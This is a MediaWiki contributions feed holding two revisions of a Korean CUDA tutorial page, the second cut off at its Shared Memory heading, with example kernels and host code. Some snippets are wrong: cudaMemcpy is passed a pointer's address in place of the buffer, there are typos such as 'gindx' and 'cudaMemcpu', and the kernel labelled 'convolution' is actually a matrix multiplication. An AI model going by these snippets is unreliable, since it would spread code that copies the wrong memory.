<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ko">
	<id>http://junhoahn.kr/noriwiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ahn9807</id>
	<title>noriwiki - 사용자 기여 [ko]</title>
	<link rel="self" type="application/atom+xml" href="http://junhoahn.kr/noriwiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ahn9807"/>
	<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8A%B9%EC%88%98:%EA%B8%B0%EC%97%AC/Ahn9807"/>
	<updated>2026-09-22T00:11:56Z</updated>
	<subtitle>사용자 기여</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7176</id>
		<title>CUDA</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7176"/>
		<updated>2026-09-21T05:35:36Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: 시스템 프로그래밍]]&lt;br /&gt;
[[분류: GPU]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
* Host: CPU&lt;br /&gt;
* Device: GPU&lt;br /&gt;
* device code: code run in GPU (written in c (API), Compile to execute in GPU)&lt;br /&gt;
* host code: code run in CPU (written in c)&lt;br /&gt;
&lt;br /&gt;
우선 CPU메모리에서 GPU메모리로 복사가 일어난뒤, (PCI Bus를 통해서) GPU 코드를 로드하고 실행시키게 된다. 코드가 실행되고 결과는 다시 GPU메모리에서 CPU메모리로 Copy되게 된다. 메모리와 디바이스는 서로 메모리가 분리되어 있기 때문에, 메모리의 위치가 중요한 역활을 한다. nvcc는 device code와 host code를 분리하여 서로 다른 컴파일러로 컴파일하고 결과를 하나로 합치는 역활을 한다.&lt;br /&gt;
&lt;br /&gt;
== 키워드 ==&lt;br /&gt;
* __global__: 이 키워드가 붙은 함수는 host에서 호출되어 device에서 실행된다. &lt;br /&gt;
* mykernel&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(): triple brackets은 CPU가 GPU를 호출한다고 명시하는 것을 말한다. __global__을 붙히고 triple brackets를 쓰지 않으면, nvcc는 error을 내보낸다. &lt;br /&gt;
&lt;br /&gt;
== 메모리 관련 함수 ==&lt;br /&gt;
GPU 커널 함수에 넘기는 포인터는 GPU에 할당된 메모리여야 한다. 즉 포이터가 GPU메모리에 위치하는가, CPU메모리에 위치하느냐에 따라서 분리하여 생각해야 된다. 따라서 다음과 같은 함수를 이용해서 메모리를 할당하고 해제하는 것이 필요하다. 여기서 중요한 것은 메모리 할당 함수에 넘기는 포인터는 포인터의 주소값 즉 더블 포인터를 넘겨야 한다. 왜냐하면, 쿠다는 항상 에러 값을 리턴하고자 하기 때문에 기존의 C처럼 할당된 부분이 리턴되는 것이 아니라 포인터의 주소값을 이용해서 포인터 값 그자체를 바꾸기 때문이다. &lt;br /&gt;
* cudaMalloc&lt;br /&gt;
* cudaFree&lt;br /&gt;
* cudaMemcpy&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    *c = *a + *b;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int a, b, c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int));&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(&amp;amp;c, dc, sizeof(int), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Block ==&lt;br /&gt;
GPU는 한번에 많은 데이터를 처리할 수 있는데, 이는 Block을 사용하여 이루어진다. 예를 들어서 add가 병렬적으로 처리된다고 할경우 각각의 add는 block이라고 불리운다. 또한 이러한 block들의 묶음을 grid라고 한다. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    c[blockIdx.x] = a[blockIdx.x] + b[blockIdx.x];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Threads ==&lt;br /&gt;
각각의 블락은 thread로 분리될 수 있다. 이는 threadIdx로 구분된다. 또한 이는 add&amp;lt;&amp;lt;&amp;lt;1,N&amp;gt;&amp;gt;&amp;gt;()처럼 N개의 스레드를 사용한다고 명시함으로써 사용되게 된다. Warp는 32(64)개의 스레드로 구성됨으로, GPU내의 warp scheduler가 이 스레드를 K개의 warp로 나누어서 각각의 블럭을 처리하게 된다. 기능적으로는 위의 block을 사용한것과 차이가 없지만, 성능의 차이가 나게 된다. &lt;br /&gt;
&lt;br /&gt;
그런데 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다.&lt;br /&gt;
&lt;br /&gt;
그렇다면 과연 블럭과 스레드를 동시에 사용할 수 있는 방법이 있어야 한다. &lt;br /&gt;
&lt;br /&gt;
한 블럭당 M개의 스레드들이 생성된다면, 각각의 스레드에 대한 unique한 인덱스는 다음과 같이 주어진다. (blockIdx와 threadIdx는 0부터 시작한다.)  &lt;br /&gt;
 int index = threadIdx.x + blockIdx.x * M&lt;br /&gt;
여기서 M은 built-in variable로 blockDim.x이렇게 주어진다. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c, int n) {&lt;br /&gt;
    int index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    // 여기서 n을 통해서 index가 N을 넘는 것을 방지한다.&lt;br /&gt;
    if (index &amp;lt; n)&lt;br /&gt;
        c[index] = a[index] + b[index];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define N (2048*2048)&lt;br /&gt;
#define THREADS_PER_BLOCK 512&lt;br /&gt;
&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,M&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N/THREADS_PER_BLOCK,THREADS_PER_BLOCK&amp;gt;&amp;gt;&amp;gt;(da, db, dc, N);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    free(a); free(b); free(c);&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [[GPU Memory Architecture]] ==&lt;br /&gt;
=== Shared Memory ===&lt;br /&gt;
Shared Memory는 캐쉬와는 다르게 프로그래머가 정확이 어떠한 변수가 메모리 영역에 올라갈지를 결정할 수 있다. Shared Memory영역은 같은 스레드간에 공유될 수 있다. 만약 모든 병렬 처리가 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다. 예를 들어서 1D 배열에서 주위의 변수들의 합을 구하는 프로그램을 짠다고 해보자. 이러할 경우 만약 [-3, 나, +3] 의 영역의 합을 구한다면 같은 메모리 위치에 모두 7번 접근해서 각각의 블럭을 처리해야 한다. 그러나 이러한 일은 매우 비효율 적인 일이다. 따라서 스레드를 이용해서 shared memory를 통해서 이러한 한계를 극복할 수 있다.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// [가장자리 0, 가장자리 2, ..., 가장자리 + RADIUS, 가운데 0, ..., 가운데 BLOCK_SIZE - 2 *  RADIUS, 가장자리 ...]&lt;br /&gt;
__global__void stencil_1d(int *in, int *out) {&lt;br /&gt;
    // 가장자리를 제외한 부분의 영역을 공유 메모리에 적재&lt;br /&gt;
    __shared__ int temp[BLOCK_SIZE + 2 * RADIUS];&lt;br /&gt;
    int gindex = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    int lindex = threadIdx.x + RADIUS;&lt;br /&gt;
&lt;br /&gt;
    // 가장자리 부분을 공유 메모리에 적재&lt;br /&gt;
    temp[lindex] = in[gindx];&lt;br /&gt;
    if (threadIdx.x &amp;lt; RADIUS) {&lt;br /&gt;
        temp[lindex - RADIUS] = in[gindex - RADIUS];&lt;br /&gt;
        temp[lindex + BLOCK_SIZE] = in[gindex + BLOCK_SIZE];&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Data race ==&lt;br /&gt;
 void __syncthreads();&lt;br /&gt;
이 함수는 블럭당 모든 스레드를 동기화 시킨다. 즉 RAW, WAR, WAW를 없앨 수 있다. &lt;br /&gt;
&lt;br /&gt;
== Host &amp;amp; Device ==&lt;br /&gt;
커널은 비동기적으로 작동하게 된다. 즉 커널과 CPU의 작동은 서로 비동기적이다. 따라서 CPU는 Result를 소비하기 전에 동기화될 필요가 있다. &lt;br /&gt;
* cudaMemcpu: 호스트를 잠시 멈추고 GPU가 결과를 가져오기를 기다린후, 결과를 가져온다.&lt;br /&gt;
* cudaMemcpyAsync: 비동기적으로 결과를 가져온다.&lt;br /&gt;
* cudaDeviceSynchronize: 호스트를 GPU에서 결과 처리가 완료될까지 기다리게 한다. &lt;br /&gt;
&lt;br /&gt;
모든 CUDA API는 Error code를 만들어 낸다. cudaError_t. &lt;br /&gt;
* cudaError_t e = ...SomeCUDAOperation...&lt;br /&gt;
* cudaGetLastError: 마지막 에러를 가져온다.&lt;br /&gt;
&lt;br /&gt;
CUDA는 여러 GPU중 하나를 선택할 수 있다. 이는 여러 Host가 하나의 GPU를 공유하거나, 여러 GPU를 하나의 Host가 공유하는 상황 모두에서 쓰일 수 있다. 또한 하나의 GPU를 가상머신 처럼 여러 GPU로 쪼개서 사용할 수도 있는데, 이는 클라우드와 같이 하나의 GPU를 공유하는 시스템에서 유용하게 사용될 수 있다. &lt;br /&gt;
*cudaGetDeviceCount(int *count)&lt;br /&gt;
* cudaSetDevice(int device)&lt;br /&gt;
* cudaGetDevice(int *device)&lt;br /&gt;
* cudaGetDeviceProperties(cudaDeviceProp *prop, int device)&lt;br /&gt;
* cudaMemcpu: GPU와 GPU사이의 통신을 목적으로 사용될 수 있다.&lt;br /&gt;
&lt;br /&gt;
== 예시 ==&lt;br /&gt;
=== Convolution ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void cuda_conv2d(double* image, double* kernel, double*result, int m, int n, int k) {&lt;br /&gt;
    int row_index = threadIdx.y + blockIdx.y * blockDim.y;&lt;br /&gt;
    int col_index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
&lt;br /&gt;
    if(row_index &amp;lt; m &amp;amp;&amp;amp; col_index &amp;lt; n) {&lt;br /&gt;
        for(int i=0;i&amp;lt;k;++i) {&lt;br /&gt;
            result[row_index * n + col_index] += image[row_index * k + i] * kernel[n * i + col_index];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
extern &amp;quot;C&amp;quot; void conv2d(double *image, double *kernel, double *result, int m, int n, int k)&lt;br /&gt;
{&lt;br /&gt;
    double *d_image, *d_kernel, *d_result;&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_image, m * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_kernel, n * k * sizeof(double));&lt;br /&gt;
    cudaMalloc((void**)&amp;amp;d_result, m * n * sizeof(double));&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(d_image, image, m * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(d_kernel, kernel, n * k * sizeof(double), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    int row_index = (n - 1) / 32 + 1;&lt;br /&gt;
    int col_index = (m - 1) / 32 + 1;&lt;br /&gt;
&lt;br /&gt;
    dim3 dim_block = dim3(32, 32, 1);&lt;br /&gt;
    dim3 dim_thread = dim3(row_index, col_index);&lt;br /&gt;
&lt;br /&gt;
    cuda_conv2d&amp;lt;&amp;lt;&amp;lt;dim_thread, dim_block&amp;gt;&amp;gt;&amp;gt;(d_image, d_kernel, d_result, m, n, k);&lt;br /&gt;
&lt;br /&gt;
    cudaMemcpy(result, d_result, m * n * sizeof(double), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    cudaFree(d_image);&lt;br /&gt;
    cudaFree(d_kernel);&lt;br /&gt;
    cudaFree(d_result);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 참고 ==&lt;br /&gt;
# http://haanjack.github.io/cuda/2016/03/27/cuda-prog-model.html&lt;br /&gt;
# CUDA programming NVIDA Manual&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7175</id>
		<title>CUDA</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=CUDA&amp;diff=7175"/>
		<updated>2026-09-21T05:35:05Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: 시스템 프로그래밍]]&lt;br /&gt;
[[분류: GPU 아키텍쳐]]&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
* Host: CPU&lt;br /&gt;
* Device: GPU&lt;br /&gt;
* device code: code run in GPU (written in c (API), Compile to execute in GPU)&lt;br /&gt;
* host code: code run in CPU (written in c)&lt;br /&gt;
&lt;br /&gt;
우선 CPU메모리에서 GPU메모리로 복사가 일어난뒤, (PCI Bus를 통해서) GPU 코드를 로드하고 실행시키게 된다. 코드가 실행되고 결과는 다시 GPU메모리에서 CPU메모리로 Copy되게 된다. 메모리와 디바이스는 서로 메모리가 분리되어 있기 때문에, 메모리의 위치가 중요한 역활을 한다. nvcc는 device code와 host code를 분리하여 서로 다른 컴파일러로 컴파일하고 결과를 하나로 합치는 역활을 한다.&lt;br /&gt;
&lt;br /&gt;
== 키워드 ==&lt;br /&gt;
* __global__: 이 키워드가 붙은 함수는 host에서 호출되어 device에서 실행된다. &lt;br /&gt;
* mykernel&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(): triple brackets은 CPU가 GPU를 호출한다고 명시하는 것을 말한다. __global__을 붙히고 triple brackets를 쓰지 않으면, nvcc는 error을 내보낸다. &lt;br /&gt;
&lt;br /&gt;
== 메모리 관련 함수 ==&lt;br /&gt;
GPU 커널 함수에 넘기는 포인터는 GPU에 할당된 메모리여야 한다. 즉 포이터가 GPU메모리에 위치하는가, CPU메모리에 위치하느냐에 따라서 분리하여 생각해야 된다. 따라서 다음과 같은 함수를 이용해서 메모리를 할당하고 해제하는 것이 필요하다. 여기서 중요한 것은 메모리 할당 함수에 넘기는 포인터는 포인터의 주소값 즉 더블 포인터를 넘겨야 한다. 왜냐하면, 쿠다는 항상 에러 값을 리턴하고자 하기 때문에 기존의 C처럼 할당된 부분이 리턴되는 것이 아니라 포인터의 주소값을 이용해서 포인터 값 그자체를 바꾸기 때문이다. &lt;br /&gt;
* cudaMalloc&lt;br /&gt;
* cudaFree&lt;br /&gt;
* cudaMemcpy&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    *c = *a + *b;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int a, b, c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int));&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int));&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int), cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;1,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(&amp;amp;c, dc, sizeof(int), cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Block ==&lt;br /&gt;
GPU는 한번에 많은 데이터를 처리할 수 있는데, 이는 Block을 사용하여 이루어진다. 예를 들어서 add가 병렬적으로 처리된다고 할경우 각각의 add는 block이라고 불리운다. 또한 이러한 block들의 묶음을 grid라고 한다. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c) {&lt;br /&gt;
    c[blockIdx.x] = a[blockIdx.x] + b[blockIdx.x];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N,1&amp;gt;&amp;gt;&amp;gt;(da, db, dc);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Threads ==&lt;br /&gt;
각각의 블락은 thread로 분리될 수 있다. 이는 threadIdx로 구분된다. 또한 이는 add&amp;lt;&amp;lt;&amp;lt;1,N&amp;gt;&amp;gt;&amp;gt;()처럼 N개의 스레드를 사용한다고 명시함으로써 사용되게 된다. Warp는 32(64)개의 스레드로 구성됨으로, GPU내의 warp scheduler가 이 스레드를 K개의 warp로 나누어서 각각의 블럭을 처리하게 된다. 기능적으로는 위의 block을 사용한것과 차이가 없지만, 성능의 차이가 나게 된다. &lt;br /&gt;
&lt;br /&gt;
그런데 block으로 나누어진다면, 스레드가 필요없는 것처럼 보인다. 그렇다면 왜 스레드를 사용하여야 하는 것인가? 이는 Communicate와 Synchronize의 측면에서 장점이 있기 때문이다.&lt;br /&gt;
&lt;br /&gt;
그렇다면 과연 블럭과 스레드를 동시에 사용할 수 있는 방법이 있어야 한다. &lt;br /&gt;
&lt;br /&gt;
한 블럭당 M개의 스레드들이 생성된다면, 각각의 스레드에 대한 unique한 인덱스는 다음과 같이 주어진다. (blockIdx와 threadIdx는 0부터 시작한다.)  &lt;br /&gt;
 int index = threadIdx.x + blockIdx.x * M&lt;br /&gt;
여기서 M은 built-in variable로 blockDim.x이렇게 주어진다. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
__global__ void add(int *a, int *b, int *c, int n) {&lt;br /&gt;
    int index = threadIdx.x + blockIdx.x * blockDim.x;&lt;br /&gt;
    // 여기서 n을 통해서 index가 N을 넘는 것을 방지한다.&lt;br /&gt;
    if (index &amp;lt; n)&lt;br /&gt;
        c[index] = a[index] + b[index];&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define N (2048*2048)&lt;br /&gt;
#define THREADS_PER_BLOCK 512&lt;br /&gt;
&lt;br /&gt;
int main(void) {&lt;br /&gt;
    int *a, *b, *c;&lt;br /&gt;
    int *da, *db, *dc;&lt;br /&gt;
&lt;br /&gt;
    a = malloc(N * sizeof(int));&lt;br /&gt;
    b = malloc(N * sizeof(int));&lt;br /&gt;
    c = malloc(N * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;da, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;db, sizeof(int) * N);&lt;br /&gt;
    cudaMalloc((void **)&amp;amp;dc, sizeof(int) * N);&lt;br /&gt;
    // 만약, da에 host에서 접근하면 segmentation fault가 발생한다.&lt;br /&gt;
    // 왜냐하면, da는 device에서 사용하는 포인터이기 때문이다. &lt;br /&gt;
&lt;br /&gt;
    // Host -&amp;gt; Device&lt;br /&gt;
    cudaMemcpy(da, &amp;amp;a, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
    cudaMemcpy(db, &amp;amp;b, sizeof(int) * N, cudaMemcpyHostToDevice);&lt;br /&gt;
&lt;br /&gt;
    // Lauch add() kernel (N block)&lt;br /&gt;
    // Lauch N copies of add with add&amp;lt;&amp;lt;&amp;lt;N,M&amp;gt;&amp;gt;&amp;gt;(), each block is distinguished by blockIdx&lt;br /&gt;
    add&amp;lt;&amp;lt;&amp;lt;N/THREADS_PER_BLOCK,THREADS_PER_BLOCK&amp;gt;&amp;gt;&amp;gt;(da, db, dc, N);&lt;br /&gt;
&lt;br /&gt;
    // Device -&amp;gt; Host&lt;br /&gt;
    cudaMemcpy(c, dc, sizeof(int) * N, cudaMemcpyDeviceToHost);&lt;br /&gt;
&lt;br /&gt;
    // Cleanup&lt;br /&gt;
    free(a); free(b); free(c);&lt;br /&gt;
    cudaFree(da); cudaFree(db); cudaFree(dc);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== [[GPU Memory Architecture]] ==&lt;br /&gt;
=== Shared Memory ===&lt;br /&gt;
